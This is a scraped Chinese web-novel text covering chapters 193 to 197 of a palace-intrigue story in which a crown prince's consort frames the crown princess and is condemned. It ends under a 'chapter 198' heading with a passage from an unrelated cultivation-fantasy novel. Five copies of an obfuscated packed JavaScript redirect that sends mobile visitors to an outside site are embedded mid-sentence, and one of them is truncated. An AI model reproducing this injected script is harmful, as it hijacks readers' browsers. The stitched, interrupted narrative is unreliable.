不等德妃掩饰,她便侧首吩咐:“童芳,你进去瞧瞧,可是咱们熟悉的人。” 童芳立刻点头进去。 德妃微不可查的皱了一下眉。 童芳很快便出来了,屈膝禀报:“回太子妃、侧妃,里头是三个男人在私通,但奴婢瞧着,他们在清醒后,面对彼此几欲作呕,不像是主动私通的模样。” 她说的明明白白。 “被下了药?”冯书仪瞬间冷笑,“三个身份不明的男人……与其说是私通,倒不如说是陷害谁来的恰当,德妃娘娘这般聪慧之人,怎就愿将此事蒙混过关?” 德妃刚想解释,却被崔锦打断:“德妃娘娘也不能未卜先知,没想得如此之深,也是正常。” “如春,你亲自带人去审。” “是。” 如春的能力毋庸置疑,没几下功夫就审到了方才那侍卫身上。 冯书仪皱起眉:“这侍卫明显是故意将此事公之于众,好叫人尽皆知,一个料理不好,连我与太子妃的名声都会蒙污,德妃娘娘却能装傻,视若无物……您究竟是何用意?” 德妃脸色微变:“本宫得知你们失踪,心下急乱,方才也焦心着找你们,便疏忽了细节,竟未曾察觉到这点。” 她语气懊悔,心中却恍然回过味儿来。 太子妃和冯侧妃今天是请君入瓮啊! 她方才没猜到这一点,只想将此事遮掩过去,谁也不得罪,竟疏忽了这两人的想法。 此时,那侍卫早已吓得魂飞魄散。 他本就只是被重金收买,才接了这种要命事,如今被如春一审,他几乎是立刻便瘫软在地,涕泪横流地招供: “是、是有人给了属下重金!叫属下务必在德妃娘娘寻人时,将诸位贵人引到这营帐外来!属下……属下只知道是要陷害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739061|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子妃与几个男人在此私会,却并不知具体是谁布局,属下只是收钱传话,丝毫未曾沾手陷害太子妃一事,求太子妃饶命!求德妃娘娘饶命啊!” 他这一交代,在场所有人的脸色齐齐骤变。 纵使方才心中已有诸多猜测,但亲耳听到这侍卫招供,她们依旧感到一阵胆寒。 后宅阴私手段她们见得不少,但用如此肮脏直接的方式,意图彻底毁掉一国太子妃的清白,其心之毒辣,手段之狠绝,实在不可小觑。 “这……怎会有人用这般拙劣手段,还敢用这种不忠之人布局?”有人疑惑地问。 “此举的确简单粗暴,拙劣得紧。”李夫人声音微沉,“但正因出人意料,胜算反而极大。” 正如她们所有人都没想到,竟有人胆大包天到在皇家马场、众目睽睽之下设此毒计一样,太子妃本人恐怕也未必会对此等拙劣伎俩过于防范——谁能想到呢? 一旦有丝毫疏忽,被那人得逞,便是万劫不复的地狱! “竟有如此恶毒之人!” 冯书仪语气带着后怕:“今日若非太子妃与我一同去了别处赏景,此刻怕是……这幕后之人,其心歹毒啊!若不揪出元凶,只怕日后东宫永无宁日!” “当然要彻查!”崔锦面上并无太多惊怒,语气却极沉。 “如春,立刻将此人押下,连同帐内三人一并看管,顺着这条线去深查!本宫倒要看看,是谁在背后兴风作浪!” “是!” 如春摆摆手,便有侍卫上前,将那面如死灰的侍卫拖了下去,同时彻底控制了那顶营帐。 德妃站在一旁,脸色有些难看。 此事一旦闹大,她曾息事宁人的态度便会传入永隆帝与太子耳中。 永隆帝如何态度暂且不知,可以太子如此重视太子妃的态度,怕是要记恨上她了。 云出岫……她到底怎么回事,这么长时间了,竟还没入太子的眼! 德妃心中急迫起来。 第一百九十四章 只是吕良娣设计? 马场这边闹出的动静实在太大,不多时便迅速传扬开来。 这边如春刚将一干人等控制起来审讯深查,那边得了信的萧临便已带着一身凛冽寒气匆匆赶到。 他大步流星地穿过人群,目光第一时间落在了崔锦身上,见她虽面色沉凝但并未受伤,悬着的心才稍稍落下些许。 “怎么回事?” 他声音中含着怒气。 近日以来,这种针对崔锦的毒计,已经是第二回了! 真当他是泥塑的菩萨不成?! 崔锦顿了顿,毫不掩饰地将方才之事和盘托出:“方才妾身与冯侧妃前去更衣,因听她说起远处生有罕见兰草,便一同前去观赏了片刻,未想竟阴差阳错躲过一劫……有人买通了马场侍卫,欲引德妃娘娘与众位夫人至那污秽之地,意图……毁了妾身的清白,构陷妾身与人私通。” 她每说一句,萧临的脸色便阴沉一分,周身散发出的寒意几乎要将周围的空气冻结。 “好!好得很!”萧临怒极反笑,眼神锐利如刀,“竟将这等下作手段用到本宫的太子妃身上!真当本宫是死的吗?!” 这话便重了。 众人连忙劝他息怒,先后宽慰了好一会儿,可萧临的脸色却依旧难看至极。 他心中再度升起后怕。 崔锦固然聪慧机敏,可智者千虑亦有一失,这等简单粗暴却直击要害的毒计,若是她今日稍有疏忽,未曾与冯书仪同行,或是未能及时察觉异常…… 若当真中了计,面对那般不堪的构陷,她该如何崩溃难受?她的名声又该如何蒙污? 单是想到这些可能,萧临就心如刀绞,怒火焚心。 “庆喜!”他声音如同淬了冰,“立刻去请刑部来人,务必将此案查个水落石出!所有涉案之人,无论牵扯到谁,一律严惩不贷!若查不清楚……” 他冰冷的目光扫过整个马场:“这马场也就不必存在了。” “奴才遵旨!”庆喜不敢有丝毫耽搁,立刻领命而去。 众人噤若寒蝉,面露惊色。 天子一怒,伏尸百万,太子贵为储君,其威慑竟也不差什么了。 本想仗着辈分劝劝萧临的德妃此时也被吓到,闭口不言,但心中却怨崔锦太过强硬——先将此事按下去,私下再查不行么? 便非要闹得如此境地,叫所有人都下不来台,还当众拂了她的颜面么?! 皇后与淑娴两位贵妃未来猎场,这里本该是她最为尊贵,可今日被崔锦这般下脸面,叫她还如何在宫妃命妇面前挺起威严,抬得起头?! 见萧临带着崔锦进了一处营帐之中等候审讯结果,德妃暗暗咬牙,却只能跟上。 刑部来的依旧是沈侍郎,他深知此事关系重大,行礼后便立刻带人接手了审讯事宜。 营帐内,萧临看向崔锦,语气放缓了些:“锦儿你今日受惊受累,不如先回去歇着?这里有本宫在,定会查个水落石出。” 崔锦却摇了摇头:“妾身无碍,那人手段并不算高明,查清真相是迟早的事,妾身在这里一同等着便是……”她微微停顿,语气透出一丝冷意,“妾身也想知道,这处心积虑、欲置我于死地的幕后主使,究竟是谁。” 她坚持留下,萧临便不再勉强,只微微握紧了她的手。 随后,他才看向下方神色各异的命妇们:“诸位若觉疲累,也可先行回去。” 众人哪敢应? 太子和太子妃都还在这里等结果,连德妃都不敢说走,何况她们? 营帐内寂静下来后,便只剩下远处隐约传来的审讯声。 好在正如崔锦所说,吕良娣被恨意与嫉妒侵蚀了理智,行事草率而仓促,留下的首尾并不干净。 不过小半个时辰的功夫,沈侍郎便去而复返,行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739062|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色匆匆。 “殿下,太子妃,经初步审讯,部分线索已明。” 他话语微顿,似在斟酌用词:“那三名男子乃这一带的地痞无赖,微臣分开审讯,他们俱招认是受一名自称吕府管事之人指使,被许以重金,并用了下作的药物……可惜太子妃未被引去营帐内,反叫他们自食恶果,而马场这边接应的人也招供了,人证物证俱全,给出的线索也都指向……吕府。” 吕府? 权贵中姓吕的可不多。 萧临看向沈侍郎:“沈侍郎既来向本宫禀报,想是已有线索,不如直言。” 沈侍郎惶恐躬身:“微臣不敢妄言,的确有些线索,那马场小管事与吕府管事是故交,方才严明后者身份,是……东宫吕良娣娘家的管事。” 说罢,他心中有些感慨。 上回他奉命查案时,吕良娣还是受害者,这回莫名的缘分促使他再接此案,吕良娣却已成加害者。 ——纵然嘴上不敢肯定,可他审了这么多年案子,早已将此案推了个七七八八。 太子妃知不知情、是不是将计就计不好说,但吕良娣的手一定不干净。 兴许后头还有人呢。 “吕氏?”萧临眼神阴沉了下来,“东宫别庄许你自由出入,带人去查!” “本宫只要真相!” 沈侍郎立刻领命离开。 事已至此,众人也没有留在此处的必要——东宫内事可不是谁都能沾的。 萧临发落了马场一众人后,也带着崔锦与冯书仪离开。 临走前,冯书仪不知怎的,回头看了看马场。 谢长风的身影骤然出现在树下,似乎是察觉到她的目光,他抬眸看去,蓦然一笑。 见冯书仪受惊一般转身离开,他才收起笑意,冷冷扫过马场。 只是吕良娣设计? 不见得。 第一百九十五章 求太子妃饶命啊! 萧临三人回到别庄后不久,沈侍郎便带着刑部的人紧随而至,雷厉风行地开始了调查。 消息传到吕良娣耳中时,沈侍郎已经带人到她院外了。 “什么?怎会……怎会这么快?” 吕良娣靠在床头,脸色因伤病和心虚而显得格外苍白。 “微臣见过吕良娣,因有重案在身,需从您院中查起。”窗外,沈侍郎徐徐行礼。 “你敢!”吕良娣眼中满是藏都藏不住的惊慌。 她强撑着坐起身,声音尖利地怒斥窗外:“姓沈的,你好大的胆子!竟敢擅闯东宫良娣的院落!还不快滚出去?!” 沈侍郎站在院中,面色沉静如水:“微臣奉太子殿下之命查案,职责所在,若有冒犯,还望良娣海涵,您放心,微臣只在院外审讯相关人等,绝不会惊扰良娣静养。” “你——” 吕良娣胸口气得剧烈起伏,猛地将手边的药碗扫落在地。 任凭她如何咒骂、威胁,沈侍郎及其带来的官吏依旧按部就班地开始了搜查。 那个“吕府管事”方才已经抓到,口供直指吕良娣。 但东宫良娣位份不低,仅凭一个外男的口供无法贸然将其定罪,所以关键还在于吕良娣身边人的证词和物证。 沈侍郎循着线索,逐一将吕良娣院中的管事太监、粗使宫女带走问话,包括内室中吕良娣的贴身婢女。 被带走时,婢女脸上毫无血色,身体微微发抖:“良娣——” “春杏,你可要想清楚了再回话。”吕良娣声音阴狠,不动声色地威胁。 “什么该说,什么不该说,你可要掂量清楚,若胡言乱语,连累了不该连累的人,岂非造孽?” 她话音落下,春杏瞬间面如死灰,几乎站立不稳。 她的家人……还在吕良娣的手上。 被带到沈侍郎面前时,无论后者如何询问,春杏都死死咬着嘴唇,翻来覆去只有一句话:“奴婢什么都不知道……良娣她也什么都不知道。” 她如此冥顽不灵,沈侍郎却并不动怒。 只悠悠问了一句:“春杏姑娘不知此事,那可知《大周律》?构陷储君正妃,等同谋逆,按律,当诛九族。” 他语气不轻不重,却瞬间给了春杏当头一棒。 她不可置信地抬起头,眼神不甘而绝望。 …… 正院。 萧临正在陪崔锦:“今日之事,多亏了冯氏意外为你避开一劫,否则即便你有所防备,独自一人也难免陷入被动,该好好赏她才是。” 崔锦笑着点头:“是该好生谢过冯侧妃,先前吕良娣因**一事对我心存怨怼,可能会有所动作的消息,便是冯侧妃提前告知于我的。” “是么?” 萧临挑了挑眉,笑了:“即便她不告诉你,以锦儿你的谨慎,难道还会轻忽了这点不成?” 他无比相信崔锦的脑子。 甚至今日……究竟是意外躲过这一劫,还是崔锦刻意给的吕良娣机会呢? 他心中清楚,却并未说透。 吕良娣心怀不轨是事实,没有叫崔锦为了东宫颜面而委屈自己的道理。 吕良娣这种心思恶毒之女,也该将其罪行大白于天下,身后无名! 他沉吟片刻,道:“冯氏能主动示警,可见其忠心,也确实该赏。” 他唤来庆喜:“去开库房,挑些名贵东西,再取两盒宫造滋补药材,一并给冯侧妃送去。” “奴才遵命。”庆喜领命而去。 崔锦也含笑对如春道:“你也去,备好厚礼,替我谢过冯侧妃。” “是。” 在旁人看来,冯书仪这次几乎算是帮崔锦避开了一劫,自然该谢。 崔锦正欲再与萧临说什么,外间便传来通禀——沈侍郎求见。 萧临眸光微敛:“请。” 不多时,沈侍郎快步进门。 躬身行礼后,他双手将一叠文书高举过头顶,沉声禀报:“禀殿下,太子妃,马场一案经查,系吕良娣因上回**之事,对太子妃怀恨在心,因此蓄意派人买通马场管事与侍卫,又寻了三名地痞流氓,设下此局,意图构陷太子妃清白。” “所有涉案人等均已招供,相关物证也已查获,详细口供与证物清单在此,请殿下、太子妃过目。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759264|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧临接过那叠供词和清单,一目十行地扫过。 纵使早知结果,可看到这些,他脸色还是克制不住的阴沉。 等最后一页看完时,他已怒不可遏,狠狠将文书拍在桌上,几乎砸裂了桌面。 “好一个吕氏!好一个狼心狗肺的东西!” 萧临声音如同寒冰:“上回**分明是平安伯夫人所为,与旁人何干?她不怨那下毒的元凶,反倒将这笔账记在太子妃头上?枉费本宫还怜她受此无妄之灾,特意晋她位份,赏她无数殊荣名药,未想竟是养出个恩将仇报的白眼狼!” 他眼中杀意凛然,显然已是怒极。 沈侍郎并未多言,只道:“吕良娣现下已被带来,正候在院外,太子殿下可要传其进门问话处置?” “不必了。” 萧临语气冰冷:“尽快带她离开,赐毒酒,别脏了太子妃的地儿!” 他声音不低,被外头的吕良娣听了个真切。 她瞬间慌了:“殿下、殿下,妾身冤枉啊!求您开恩,妾身不是故意的啊……” 不过片刻间,她便哭得涕泪横流,病容上一片残败之色:“妾身上回为太子妃挡了一劫,没有功劳也有苦劳啊,您……您怎能如此狠心?!” 她说的前后矛盾,词不成句,却未能换来里面一句怜惜与开恩。 吕良娣顿时心凉了一片,此时此刻才清醒些许,真切地后悔起来。 她不该冲动的。 就算要设计,也不该做的如此明显。 那日……她好像忽然就怒不可遏,恨意满身,这才……做下了糊涂事。 恍惚间,她被缓缓拖走,急得哭了眼泪鼻涕满脸,凄惨极了:“殿下开恩啊……妾身知错了,求殿下、不,求太子妃饶命啊!妾身曾以命为您挡过一劫啊——” 她尖声哭喊着,濒临死亡的恐慌席卷满身,叫她整个人都剧烈颤抖起来,腿软的几乎走不动。 “这不是吕良娣?”清冷高傲的声音响起。 吕良娣下意识抬头,就看到一袭白衣的云出岫缓缓走来她面前,居高临下。 “怎么……您转眼成了阶下囚?” 第一百九十六章 太子会中媚药 云出岫看着吕良娣这般狼狈不堪的模样,心中涌起一股快意。 这些所谓的名门贵女,往日里眼睛长在头顶上,对她百般轻贱嘲讽,如今看来,也不过如此。 她们并不比她高贵多少。 吕良娣对上她讥诮怜悯的目光,一股**与怒火猛地窜上心头。 “看什么看?!”她双目赤红,狠狠地剜了云出岫一眼,声音嘶哑地骂,“你这等**胚子,也配来看主子的笑话?滚开!” “主子?” 云出岫冷笑一声,被那句“**胚子”刺激到,她说话便刺耳了许多:“你本不过小小奉仪,凭着一个病秧子的身体才被晋为良娣,也不是个正经主子,怎配如此自称?” “东宫良娣已是高位!”吕奉仪眼睛赤红,“你不清楚也难怪……**胚子哪懂什么高不高贵?以你这等出身,这辈子也就止步低贱的通房了!” “你……你放肆!”云出岫气得双颊微红。 “自诩高贵又如何?良娣的位份还没坐热乎呢,怎么就要上黄泉路了?可见人若心术不正,德行有亏,即便侥幸得了高位,也是无福消受,转眼成空!” 她这话可比淬了毒的针,细细密密地扎进吕良娣心口。 “你——**!你竟敢如此犯上!”吕良娣气得浑身发抖。 她还想再骂,却被匆匆从正院走出来的庆喜打断。 他皱着眉头,不满地扫了一眼架着吕良娣的嬷嬷:“还磨蹭什么?快些将罪妇带下去!由她在这里胡言乱语,惊扰了太子妃,你们谁担待得起?” 嬷嬷们急忙告罪,再不敢耽搁,几乎是拖着吕良娣往外走。 “不——庆喜公公!求您替我向太子妃求求情!我知道错了!我真的知道错了!”吕良娣脸色惨白如纸,绝望的哭喊声凄厉异常,却再也无人理会。 云出岫冷眼看着她被拖远,抬手拿出帕子,轻轻掩了掩口鼻,像是遇到脏东西一样。 从前那些贵女夫人见她便是如此作态。 那时她觉得可恨,可当自己对旁人做出这个动作时,又莫名快意。 好像……成为了曾经那些人一样。 哭喊声渐行渐远,云出岫整理了一下衣袖,转向庆喜,语气恢复了平日里的清冷:“我有要事需面见太子妃禀报,烦请代为通传。” 她是来告发冯侧妃的。 那日下毒,她总觉得冯侧妃端起茶杯时的反应有些微妙,虽然只是极短暂的迟疑——旁人或许不会留意,但她作为下毒之人,观察得格外仔细。 这一点疑窦不足以作为确凿证据,但足够做文章了。 更重要的是太子此刻正在正院——揭发冯侧妃举止可疑只是顺带,更重要的是在太子面前暗示太子妃管理内宅不力,不够聪慧。 太子作为东宫之主,朝野间无数人盯着,若为他管理内宅的太子妃不够机灵,想也知道他会如何恼怒。 等他露出真面目,太子妃会感谢她的。 经庆喜通传后,云出岫缓步走入殿内。 “奴婢云氏,见过太子殿下、太子妃。” “起来吧。”崔锦声音温和,“听庆喜说,你有要事禀报?” 云出岫语气保持着惯有的清冷:“奴婢今日前来,是心中有些疑虑,思前想后,觉得还是应当禀明太子妃知晓。” 她略微停顿,仿佛在斟酌措辞,然后才继续道:“是关于……冯侧妃的。” 崔锦眉头微动。 “那日吕良娣**前,奴婢当时无意中注意到……冯侧妃在端起那杯本属于她的茶时,动作似乎有片刻凝滞,眼神也不对劲,奴婢起初并未多想,只以为是错觉,但近日总觉心中不安。” 说到这里,她抬起眼,目光坦然地看向崔锦:“奴婢知晓今日冯太子妃有功于娘娘,奴婢本不该多言,但想到那日冯侧妃若真察觉茶有异样,却未曾当场言明,反而任由事态发展,以至吕良娣误饮……这其中的关窍,细想之下,难免让人心生惊惧,太子妃待人赤诚,但难免会被有心人利用,最后反害了您。” 最后一句话她说的极其小心。 既要上眼药,又不能上的太明显——太子妃已经很针对她了,不能再被记恨上。 现在她夸她待人真诚,但若不够明察秋毫,识人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766184|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明,必会被有心人蒙蔽。 太子若聪明,自会联想到太子妃管理内宅或许要栽跟头,甚至……轻信外命妇,为他埋下祸根。 云出岫自认自己想得很是周缜密——就是有点过于缜密了。 小心缜密到叫萧临与崔锦都没看出来她这是在上眼药,还因为她夸了崔锦一句,得了萧临满意一瞥。 崔锦面容依旧温和:“本宫知晓,多谢你提醒了。” 她本就没轻信冯书仪,无论云出岫此言是真是假,她都会提防。 “无妨。” 云出岫下巴微抬:“奴婢今日前来,本就不是为了搬弄是非,娘娘可信,也可不信,奴婢说过了,便问心无愧了。” 崔锦略与她聊了几句,见她还站在原地不动,不由有些疑惑。 “如春,去将库里那套珍珠宝石头面拿给云姑娘。” 云出岫微顿,心中有些不虞。 她是在等太子发作,谁等太子妃赏赐了? 太子妃从来都只会如此侮辱人! 她忍着气,平淡地告退。 纵然太子没法做,可她方才那番话,便如投入太子心湖中的一颗小石子,必会泛起涟漪,假以时日,即可激起更大的风浪。 回到自己的院子,正好赶上膳房送晚膳。 春云被支开后,那送膳的小太监迅速道:“你怎么回事,德妃娘娘等了许久,你莫说勾住太子,竟与他连事都没成?没用的东西!” 云出岫脸色骤然浮起一阵红晕,也不知是气的还是羞的。 “你放肆!狗奴才,你在对谁说话?!” 小太监冷笑一声:“一个东宫通房,还真拿自己当个人物了?” “你——” “就算你来日真有本事,坐上太子妃之位,也别忘了自己是从哪儿出来的!”小太监声音冷漠,“你的把柄,德妃娘娘可有的是!” 云出岫脸色骤然惨白。 “行了,知道你不中用,德妃娘娘已经安排好,后日李阁老寿辰,太子会中媚药,太子妃会被引走,你抓紧机会!” 说罢,小太监转身离开。 第一百九十七章 萧临中药 一日时间眨眼即过,很快便到了李阁老寿辰之日。 他们虽是在秋猎别庄,但京城有头有脸的权贵几乎齐聚于此,这寿宴李府自然也要办得风光。 这日早间,崔锦与萧临一同出门赴宴,同行的还有叶挽棠与冯书仪。 宽敞的马车内,萧临握着崔锦的手,低声提醒:“前日马场之事动静不小,虽已处置了吕氏,但难免有风声传了出去。今日人多口杂,若你听到什么不中听的闲言碎语,不必隐忍委屈,尽管处置便是。” 崔锦轻笑了一声:“谁敢在我面前非议此事?又不是活得不耐烦了,至于那些私底下的闲言碎语……”她笑了笑,眸光随意,“我权当听不到就是了。” 人活一世,哪能不被人在背后议论? 那些私下里嚼舌根的,无非只有两种——一种亲近吕家,便因此同情吕良娣,觉得她手段狠辣,赶尽杀绝;另一种便是本就瞧着东宫眼热,借机酸言酸语罢了。 与这些人计较,反倒是抬举了他们,白白浪费心神。 “你倒是想得开。” 萧临见她神色坦然,也便放下了心。 不多时便到了李府。 李阁老德高望重,寿宴宾客云集,热闹非凡。 萧临与崔锦卜一下车,李阁老与李夫人便亲自迎上前来,躬身见礼。 “老臣见过太子殿下,太子妃金安,两位殿下驾临,真令寒舍蓬荜生辉啊。”李阁老含着笑意,言辞恳切。 萧临亲手扶他起身,语气温和:“阁老不必多礼,今日您寿辰,一切当以您为主。” 李阁老笑容满面,正欲再客气几句,却被一个洪亮的声音打断:“行了行了,李老头,知道你礼数多,快先请太子和太子妃上座吧,别净顾着高兴。” 循声望去,正是精神矍铄的周大儒,他与李阁老乃是多年故交,说话便随意许多。 李阁老也不恼,反而捋须笑道:“我看你这老家伙,是心疼自己弟子,怕她站累了吧?” “那是自然。” 周大儒坦然承认:“太子妃是老夫最小的弟子,当自家闺女一般养大的,我不心疼她站累,难不成心疼你这糟老头子不成?” 萧临与李阁老都笑了起来,周围众人也顿时跟着凑趣。 可笑过后,不少人心思却难言。 ——周大儒从不掩饰对太子妃的偏爱,这一点早已根植在大家心中。 以至于如今想起太子妃的靠山,第一时间想到的竟不是忠勇侯府或其外祖谢氏,而是这位门生故旧遍布朝野、连皇上都敬重几分的帝师周大儒。 一些原本因吕良娣之事,想在酸几句崔锦手段过于狠辣的命妇贵女们,此刻也都警醒了几分,不敢再贸然开口。 寿宴很快开始,众人依序落座。 冯书仪随崔锦安静地坐下,唇角含笑,一副花瓶做派。 但她的眼神却不自觉地在下首的席间扫视,很快便精准地捕捉到了一个熟悉的身影。 ——谢长风近日因在御前得力,很是出了一番风头,昨日更官升一级,故而他今日的座位也被安排得颇为靠前。 似是察觉到她的视线,正与旁人说笑的谢长风微微侧头,目光迎上她的,微微勾唇,带出一抹笑意。 两人的对视只有一瞬,并未引起旁人注意,却叫冯书仪心跳快了些。 昨日一整天未曾见到谢长风,她心中竟空落落的,有些患得患失。 直到方才看到他,心中微定之余,又泛起一些难以名状的感觉。 她不知道那具体是什么,只觉得心绪有些不稳,目光总是不由自主地想往谢长风的方向飘去。 心烦意乱了片刻后,她才被前来宣旨赏赐的御前太监拉回了神思,眼神微凛。 重头戏就快来了。 待御前的人离开,满堂宾客都在向李阁老道贺,气氛热烈非常。 一片喧闹之中,一个瞧着精致但放在席间极其普通的酒瓶被悄无声息地放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773635|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了萧临面前的桌上。 冯书仪眸光微动,余光注视着那毫无察觉的婢女拿起酒瓶,为萧临倒满一杯。 萧临被李阁老敬酒,仰头便喝了。 冯书仪眼眸微敛。 这样好的机会,却要便宜云出岫那个佯装清高的**,当真令人不虞。 若要截胡,她此时倒也可——成功率近乎百分之百。 但…… 她余光再度扫过谢长风。 他正在与工部尚书说话,唇角三分笑意,自带风流,单是坐在那里,就已占尽旁人目光。 不知有多少贵女在红着脸暗暗瞧他。 冯书仪不想承认自己被吸引,但心却无比诚实。 至少目前,她并不想攻略萧临。 该先专注于谢长风的……不然等攻下萧临,引得他粘人,哪还能抽出时间来攻略谢长风? 她在心里说服自己,放弃了亲近萧临且绝不会被怀疑、反而会受尽补偿愧疚的绝佳机会。 一个时辰后,寿宴终于结束。 崔锦正要与萧临离开,却见那边一阵吵闹,便叫如春去瞧。 不多时,如春匆匆回来:“太子妃,是咱们福阳县主的耳坠丢了,因着那是您送她的生辰礼,便想寻回来。” 耳坠? 崔锦微微蹙眉,不由得想起先前崔钰因丢了个耳坠,被晋王威胁陷害崔府**一事。 有这么巧吗,崔钤也在旁人家的宴会上丢了耳坠? 她看向萧临,还未开口,萧临便点头道:“四妹妹不忍丢下你送的耳坠,你便去瞧瞧吧,也能放心些。” 方才庆喜禀报了一些政事,他需得尽快回府去处理,便准备率先离开。 临走前,他看向冯书仪与叶挽棠。 “殿下放心。”冯书仪主动道,“妾身陪着太子妃,正好也与我母亲多说说话。” “妾身也是。”叶挽棠忙跟着开口。 萧临点点头,放心离开。 第一百九十八章 云出岫投怀送抱 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 